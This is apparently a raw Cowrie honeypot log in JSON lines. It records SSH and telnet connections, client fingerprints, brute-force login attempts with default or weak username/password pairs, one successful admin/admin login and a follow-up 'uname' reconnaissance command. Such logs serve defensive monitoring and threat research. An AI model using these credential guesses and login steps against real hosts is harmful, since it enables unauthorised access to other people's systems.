{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:53.137477Z","src_ip":"213.209.159.56","session":"6fdfd4ce8653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston","message":"login attempt [auston/auston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:53.540880Z","src_ip":"213.209.159.56","session":"6fdfd4ce8653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston1","message":"login attempt [auston/auston1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:54.627407Z","src_ip":"213.209.159.56","session":"6fdfd4ce8653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston123","message":"login attempt [auston/auston123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:55.713650Z","src_ip":"213.209.159.56","session":"6fdfd4ce8653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston1234","message":"login attempt [auston/auston1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:56.800642Z","src_ip":"213.209.159.56","session":"6fdfd4ce8653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"auston","password":"auston12345","message":"login attempt [auston/auston12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:57.886900Z","src_ip":"213.209.159.56","session":"6fdfd4ce8653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:23:58.972252Z","src_ip":"213.209.159.56","session":"6fdfd4ce8653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":29062,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc72fedcfcd0","protocol":"ssh","message":"New connection: 178.20.210.186:29062 (10.17.0.5:22) [session: dc72fedcfcd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:00.543527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:00.549023Z","src_ip":"178.20.210.186","session":"dc72fedcfcd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:00.666800Z","src_ip":"178.20.210.186","session":"dc72fedcfcd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshd","password":"123456","message":"login attempt [sshd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:01.128684Z","src_ip":"178.20.210.186","session":"dc72fedcfcd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:02.895357Z","src_ip":"178.20.210.186","session":"dc72fedcfcd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":55360,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a4e199c1260","protocol":"ssh","message":"New connection: 8.218.166.49:55360 (10.17.0.5:22) [session: 3a4e199c1260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:04.791949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:10.413135Z","src_ip":"8.218.166.49","session":"3a4e199c1260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:15.618863Z","src_ip":"47.86.95.62","session":"5a4ec6c6a23d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:21.544856Z","src_ip":"8.218.166.49","session":"3a4e199c1260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"106.1","message":"Connection lost after 106.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:31.701391Z","src_ip":"47.86.95.62","session":"5a4ec6c6a23d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:32.297856Z","src_ip":"8.218.166.49","session":"bc9ba1742cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:39.336889Z","src_ip":"8.218.166.49","session":"3a4e199c1260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"45.2","message":"Connection lost after 45.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:49.992585Z","src_ip":"8.218.166.49","session":"3a4e199c1260","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:24:57.744059Z","src_ip":"8.218.166.49","session":"bc9ba1742cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:02.507589Z","src_ip":"8.218.166.49","session":"851554dfd3c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:06.597561Z","src_ip":"8.218.166.49","session":"5a1da297057d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":48750,"dst_ip":"159.203.135.109","dst_port":23,"session":"57ad64193d8d","protocol":"telnet","message":"New connection: 187.222.242.146:48750 (159.203.135.109:23) [session: 57ad64193d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:12.340752Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":5109,"dst_ip":"159.203.135.109","dst_port":22,"session":"6325bfbf91fa","protocol":"ssh","message":"New connection: 193.46.255.86:5109 (159.203.135.109:22) [session: 6325bfbf91fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:21.400597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:21.406386Z","src_ip":"193.46.255.86","session":"6325bfbf91fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:21.540571Z","src_ip":"193.46.255.86","session":"6325bfbf91fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"1","message":"login attempt [default/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:22.149851Z","src_ip":"193.46.255.86","session":"6325bfbf91fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:23.287036Z","src_ip":"193.46.255.86","session":"6325bfbf91fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"1234","message":"login attempt [default/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:24.424093Z","src_ip":"193.46.255.86","session":"6325bfbf91fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"abc123","message":"login attempt [default/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:25.561495Z","src_ip":"193.46.255.86","session":"6325bfbf91fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"abcd123","message":"login attempt [default/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:26.698030Z","src_ip":"193.46.255.86","session":"6325bfbf91fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:27.836263Z","src_ip":"193.46.255.86","session":"6325bfbf91fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43950,"dst_ip":"10.17.0.5","dst_port":22,"session":"a98db46fd251","protocol":"ssh","message":"New connection: 8.218.166.49:43950 (10.17.0.5:22) [session: a98db46fd251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:28.031213Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:38.875754Z","src_ip":"8.218.166.49","session":"851554dfd3c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:40.290402Z","src_ip":"8.218.166.49","session":"bc9ba1742cab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:40.295080Z","src_ip":"8.218.166.49","session":"bc9ba1742cab","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:42.791377Z","src_ip":"8.218.166.49","session":"a98db46fd251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:42.797316Z","src_ip":"8.218.166.49","session":"a98db46fd251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:46.027453Z","src_ip":"8.218.166.49","session":"5a1da297057d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53608,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6cb60fccf9f","protocol":"ssh","message":"New connection: 47.86.95.62:53608 (10.17.0.5:22) [session: e6cb60fccf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:50.767551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:50.772255Z","src_ip":"47.86.95.62","session":"e6cb60fccf9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"13.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:53.545873Z","src_ip":"8.218.166.49","session":"bc9ba1742cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.6","message":"Connection lost after 120.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:25:53.550549Z","src_ip":"8.218.166.49","session":"bc9ba1742cab","protocol":"ssh"}
